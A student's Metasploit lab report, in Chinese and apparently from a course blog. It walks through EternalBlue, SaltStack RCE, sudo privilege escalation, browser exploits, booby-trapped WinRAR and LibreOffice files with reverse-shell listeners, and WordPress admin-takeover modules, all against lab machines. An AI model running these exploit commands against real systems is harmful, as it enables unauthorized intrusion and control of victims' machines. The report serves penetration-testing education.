网络对抗实验六--MSF应用基础

实 验 报 告

课程:网络对抗技术

班级:1912      姓名:陈发强      学号:20191206

实验名称:MSF应用基础         实验日期:2022.5.10


(一)主动攻击实践


1-win7漏洞-永恒之蓝

2-Ubuntu-CVE-2020-16846


(二)针对浏览器的攻击


1-msf自动化攻击

2-msf和IE浏览器

3-msf和火狐浏览器

4-msf和chrome浏览器


(三)针对客户端的攻击


1-WinRAR

2-libreoffice


(四)辅助模块的使用


1-wordpress相关的43个辅助模块

1-0-wordpress信息搜集

1-1-wp_masterstudy_privesc

1-2-wp_bulletproofsecurity_backups

基础问题回答

问题1

问题2

实验目的

  1. 掌握metasploit的基本应用方式。

实验内容

  1. 一个主动攻击实践,尽量使用最新的类似漏洞

  2. 一个针对浏览器的攻击,尽量使用最新的类似漏洞

  3. 一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞

  4. 成功应用任何一个辅助模块

以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除1分。

实验过程

(一)主动攻击实践

1-win7漏洞-永恒之蓝

1-1-扫描win7的smb服务

win7 是默认开启 445 端口的。

如果 win7 有防火墙拦截,那么就要让防火墙放过 SMB 服务的相关数据包。

use auxiliary/scanner/smb/smb_version 
set RHOSTS 192.168.144.149
run

1-2-使用永恒之蓝漏洞攻击

use exploit/windows/smb/ms17_010_eternalblue 

(default payload windows/x64/meterpreter/reverse_tcp)

set RHOSTS 192.168.144.149

run

msf 开始自动使用 auxiliary/scanner/smb/smb_ms17_010 检查永恒之蓝漏洞,并自动探测靶机系统版本。

最终拿到了 shell。此过程中 win7 防火墙是开启状态。

最终得到的是管理员权限,成功添加 hacker 用户,并设置为了管理员

2-ubuntu比较新的漏洞

SaltStack Shell 注入 (CVE-2020-16846)漏洞复现

SaltStack是一个分布式运维系统,在互联网场景中被广泛应用,有以下两个主要功能:

• 配置管理系统,能够将远程节点维护在一个预定义的状态

• 分布式远程执行系统,用于在远程节点上单独或通过任意选择标准来执行命令和查询数据

CVE-2020-16846和CVE-2020-25592组合使用可在未授权的情况下通过salt-api接口执行任意命令。CVE-2020-25592允许任意用户调用SSH模块,CVE-2020-16846允许用户执行任意命令。

2-1-环境准备

  1. 在Ubuntu 20.04下安装docker-compose
# 安装pip
sudo apt-get install pip

# 安装最新版docker
curl -s https://get.docker.com/ | sh

# 启动docker服务
systemctl start docker

# 安装compose
pip install docker-compose 

  1. 运行Github的vulhub项目
# 下载项目
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-master

# 进入某一个漏洞/环境的目录
cd ~/vulhub/saltstack/CVE-2020-16846

# 自动化编译环境(有些不是必须的)
docker-compose build

# 启动整个环境
sudo docker-compose up -d

# 测试完成后,删除整个环境
sudo docker-compose down -v

访问 https://localhost:8000/

出现下面的网页页面,说明SaltStack服务安装成功。

  1. msf利用漏洞
use exploit/linux/http/saltstack_salt_wheel_async_rce
set RHOSTS 192.168.144.137
set LHOST 192.168.144.151
run

拿到shell,getuid显示的是root权限。

  1. 继续利用ubuntu的另一个本地漏洞

sudo中基于堆的缓冲区溢出漏洞(CVE-2021-3156)

如果 session 不是 root 权限,可以用这个新漏洞进行提权,ubuntu20.04存在此漏洞。

2021年01月27日,360CERT监测发现RedHat发布了sudo 缓冲区/栈溢出漏洞的风险通告,该漏洞编号为CVE-2021-3156,漏洞等级:高危,漏洞评分:7.0。

攻击者在取得服务器基础权限的情况下,可以利用sudo基于堆的缓冲区溢出漏洞,获得root权限。

use exploit/linux/local/sudo_baron_samedit
set SESSION 3
set ForceExploit true
run

(二)针对浏览器的攻击

1-msf自动化攻击

browser_autopwn是Metasploit提供的辅助功能模块。在用户访问Web页面时,它会自动攻击受害者的浏览器。在开始攻击之前,browser_autopwn能够检测用户使用的浏览器类型, browser_autopwn将根据浏览器的检测结果,自行部署最合适的exploit。

use auxiliary/server/browser_autopwn2

run

之后会生成一个 URL,http://192.168.144.151:8080/wy705UssneC

1.1-受害者浏览器访问网址

主机 win10 + 联想浏览器(Chrome内核) 访问 http://192.168.144.151:8080/wy705UssneC

它说没有合适的可以利用的漏洞。


虚拟机 win7 + Internet Explorer 访问 http://192.168.144.151:8080/wy705UssneC

它说有漏洞可以利用,但半天也没返回一个会话


虚拟机 Ubuntu + firefox 访问 http://192.168.144.151:8080/wy705UssneC

它说没有漏洞可以利用。


看来自动化的都少还是有点弱。

这是它尝试的漏洞

  55  Exploit: multi/browser/firefox_webidl_injection                 firefox/shell_reverse_tcp        tcp://192.168.144.151:4442 (setting up)
  56  Exploit: multi/browser/firefox_tostring_console_injection       firefox/shell_reverse_tcp        tcp://192.168.144.151:4442 (setting up)
  57  Exploit: multi/browser/firefox_svg_plugin                       firefox/shell_reverse_tcp        tcp://192.168.144.151:4442 (setting up)
  58  Exploit: multi/browser/firefox_proto_crmfrequest                firefox/shell_reverse_tcp        tcp://192.168.144.151:4442 (setting up)
  59  Exploit: android/browser/webview_addjavascriptinterface         android/meterpreter/reverse_tcp  tcp://192.168.144.151:4443 (setting up)
  60  Exploit: android/browser/samsung_knox_smdm_url                  android/meterpreter/reverse_tcp  tcp://192.168.144.151:4443 (setting up)
  61  Exploit: windows/browser/adobe_flash_worker_byte_array_uaf      windows/meterpreter/reverse_tcp  tcp://192.168.144.151:4444 (setting up)
  62  Exploit: windows/browser/adobe_flash_domain_memory_uaf          windows/meterpreter/reverse_tcp  tcp://192.168.144.151:4444 (setting up)
  63  Exploit: windows/browser/adobe_flash_copy_pixels_to_byte_array  windows/meterpreter/reverse_tcp  tcp://192.168.144.151:4444 (setting up)
  64  Exploit: windows/browser/adobe_flash_casi32_int_overflow        windows/meterpreter/reverse_tcp  tcp://192.168.144.151:4444 (setting up)
  65  Exploit: osx/browser/adobe_flash_delete_range_tl_op             osx/x86/shell_reverse_tcp        tcp://192.168.144.151:4447 (setting up)
  66  Exploit: multi/browser/adobe_flash_uncompress_zlib_uaf          windows/meterpreter/reverse_tcp  tcp://192.168.144.151:4444 (setting up)
  67  Exploit: multi/browser/adobe_flash_shader_job_overflow          windows/meterpreter/reverse_tcp  tcp://192.168.144.151:4444 (setting up)
  68  Exploit: multi/browser/adobe_flash_shader_drawing_fill          windows/meterpreter/reverse_tcp  tcp://192.168.144.151:4444 (setting up)
  69  Exploit: multi/browser/adobe_flash_pixel_bender_bof             windows/meterpreter/reverse_tcp  tcp://192.168.144.151:4444 (setting up)
  70  Exploit: multi/browser/adobe_flash_opaque_background_uaf        windows/meterpreter/reverse_tcp  tcp://192.168.144.151:4444 (setting up)
  71  Exploit: multi/browser/adobe_flash_net_connection_confusion     windows/meterpreter/reverse_tcp  tcp://192.168.144.151:4444 (setting up)
  72  Exploit: multi/browser/adobe_flash_nellymoser_bof               windows/meterpreter/reverse_tcp  tcp://192.168.144.151:4444 (setting up)
  73  Exploit: multi/browser/adobe_flash_hacking_team_uaf             windows/meterpreter/reverse_tcp  tcp://192.168.144.151:4444 (setting up)
  74  Exploit: windows/browser/wellintech_kingscada_kxclientdownload  windows/meterpreter/reverse_tcp  tcp://192.168.144.151:4444 (setting up)
  75  Exploit: windows/browser/ms14_064_ole_code_execution            windows/meterpreter/reverse_tcp  tcp://192.168.144.151:4444 (setting up)
  76  Exploit: multi/handler                                          generic/shell_reverse_tcp        tcp://192.168.144.151:4442
  77  Exploit: multi/handler                                          generic/shell_reverse_tcp        tcp://192.168.144.151:4459
  78  Exploit: multi/handler                                          android/meterpreter/reverse_tcp  tcp://192.168.144.151:4443
  79  Exploit: multi/handler                                          windows/meterpreter/reverse_tcp  tcp://192.168.144.151:4444
  80  Exploit: multi/handler                                          osx/x86/shell_reverse_tcp        tcp://192.168.144.151:4447

2-msf和ie浏览器

先看看IE浏览器的

search Internet Explorer

2.1-ms16_051_vbscript

win7 IE(version 8) 访问,没成功

2.2-ms14_064_ole_code_execution

win7 IE(version 8) 访问,没成功

2.3-ms14_012_cmarkup_uaf

win7 IE(version 8) 访问,没成功

2.4-ms14_012_textrange

win7 IE(version 8) 访问,没成功

2.5-ms13_080_cdisplaypointer

win7 IE(version 8) 访问,没成功

2.6-ms13_059_cflatmarkuppointer

win7 IE(version 8) 访问,没成功

2.7-ms13_069_caret

win7 IE(version 8) 访问,没成功

2.8-ms11_003_ie_css_import

use exploit/windows/browser/ms11_003_ie_css_import 
set LHOST 192.168.144.151
run

win7 IE 访问 拿到shell

不是system权限,可以配合其他漏洞和POST模块提权

3-msf和火狐浏览器

3.1-firefox_jit_use_after_free

Ubuntu20.04 + firefox(version 93) 没成功。

有空找个老版本的火狐试一下

4-msf和chrome浏览器

也是需要一个老版本的谷歌

最新的2021-04-13:chrome_cve_2021_21220_v8_insufficient_validation

需要 Google Chrome < 89.0.4389.128/90.0.4430.72 (64 bit)

我的版本是 Google Chrome 99.0.4844.84,没成功。

(三)针对客户端的攻击

1-winrar

1-1-msf生成有毒的ace文件

use exploit/windows/fileformat/winrar_ace
set LHOST 192.168.144.151
run

1-2-msf启动监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.144.151
run

1-3-受害者winrar解压ace文件

版本要求 :WinRAR <= 5.61

重启

1-4-msf拿到shell

shell是当前用户权限,可以配合其他漏洞和POST模块进行提权

2-libreoffice

LibreOffice是OpenOffice.org办公套件衍生版。LibreOffice拥有强大的数据导入和导出功能,能直接导入PDF文档、微软Word(.doc文件)、LotusWord,支持主要的OpenXML格式。

简而言之,相当于Ubuntu上开源免费的 WPS / Microsoft Office,而且很多 Ubuntu 默认安装 libreoffice 作为办公软件。

软件本身并不局限于Debian和Ubuntu平台,现已支持Windows、Mac和其它Linux发行版等多个系统平台。

2-1-libreoffice漏洞

2019年7月:CVE-2019-9848 LibreOffice < 6.2.5 任意python命令执行漏洞复现

旧版本下载地址:https://downloadarchive.documentfoundation.org/libreoffice/old/

sudo apt-get autoremove --purge libreoffice*  //先卸载已经安装的libreoffice
sudo dpkg -i linuxidc.deb
sudo apt-get -f install

2-2-metasploit利用漏洞

use exploit/multi/fileformat/libreoffice_logo_exec
set LHOST 192.168.144.151
#set FILENAME 设置文件名
#set TEXT_CONTENT 设置文档内容
run

会生成一个 librefile.odt 文件(默认名称)

启动监听

use exploit/multi/handler
set payload python/meterpreter/reverse_tcp
set LHOST 192.168.144.151
run

2-3-ubuntu打开librefile.odt

可以看到虽然宏的安全等级是high,但是却没有发出任何告警。

msfconsole拿到shell,是当前用户权限。

可以配合其他漏洞和POST模块进行提权。

run post/multi/recon/local_exploit_suggester

(四)辅助模块的使用

1-wordpress相关的43个辅助模块

WordPress是一款个人博客系统,并逐步演化成一款内容管理系统软件,它是使用PHP语言和MySQL数据库开发的,用户可以在支持 PHP 和 MySQL数据库的服务器上使用自己的博客。

WordPress有许多第三方开发的免费模板,安装方式简单易用。

wordpress最近爆出了不少的漏洞。多数是插件的漏洞。

search wordpress type:auxiliary

首先在 ubuntu 上搭建一个 wordpress 的博客网站。

我是用的 phpstudy + wordpress 快速建站,完成后长这样。

在 kali 中能访问。

1-0-wordpress信息搜集

use auxiliary/scanner/http/wordpress_scanner
set RHOSTS 192.168.144.137
set TARGETURI /wordpress
run

由于我的wordpress还没有安装任何插件,所以只扫描出了wordpress自身的版本。

安装两个插件在跑一遍。

可以看见扫描出了我的插件的版本。

1-1-wp_masterstudy_privesc

2022年的一个漏洞,MasterStudy插件漏洞,影响版本:2.7.5之前的版本。

auxiliary/admin/http/wp_masterstudy_privesc 2022-02-18 Wordpress MasterStudy Admin Account Creation

use auxiliary/admin/http/wp_masterstudy_privesc
set RHOSTS 192.168.144.137
set TARGETURI /wordpress/
run

由于下载不到旧版本的 masterstudy 插件,只好下载了最新版本的2.8.8。(今年2月2.7.5的漏洞,5月就更新到2.8.8了,汗)

所以检测到的是该插件没有漏洞。

1-2-wp_bulletproofsecurity_backups

use auxiliary/scanner/http/wp_bulletproofsecurity_backups
set RHOSTS 192.168.144.137
set TARGETURI /wordpress/
run

实验体会

metasploit 的模块真的很多,功能也很强大,要想用好metasploit,就要耐得住寂寞,逐渐掌握各个模块。

metasploit 的子模块分类很多是按照漏洞的平台和类型进行分类的,要想精准地定位自己想要的漏洞,就要首先了解漏洞的功能、类型和适用的平台版本。

本次实验花费时间最长的环境的搭建。尤其是wordpress的网站和插件,虽然有phpstudy的帮助,但也实在是不容易。

基础问题回答

问题1

用自己的话解释什么是exploit,payload,encode?

expoit:利用漏洞的模块。每个漏洞的利用的方法都不尽相同,exploit 提供了每个漏洞的利用方式。
payload:利用漏洞总要干点什么,payload就是你要运送过去的,搞事情的东西。
encode:编码,运送的东西上贴着“毒品“的标签太过于明目张胆,使用encode编码,伪装一下再运送过去。

问题2

离实战还缺些什么技术或步骤?

最近有幸代表学校参加教育不的网络攻防演练,发现距离实战还是有不小的差距。

首先是信息搜集,扫描器和各种扫描工具基本上都是不能用的,他们的防御系统会检测出这些工具,并直接把你的IP禁用掉。
这就导致了很难大批量地去搜集系统信息,并扫描出可以利用的漏洞,除非自己写一个好用的扫描器。

其次就是很难逃过入侵检测系统。现在很多入侵检测系统都是带行为分析的。对非法操作非常敏感,即使你的病毒没有被杀毒软件检测出来,但只要在干坏事,就很难逃过侦查。

再就是内网渗透。即使拿下了DMZ区,web服务器等服务器,怎么突破进入内网,并进行横向渗透还是个问题。

还有蜜罐技术,如何判断自己拿下的是不是蜜罐?

.......

posted @ 2022-05-14 01:47  191206  阅读(702)  评论(0编辑  收藏  举报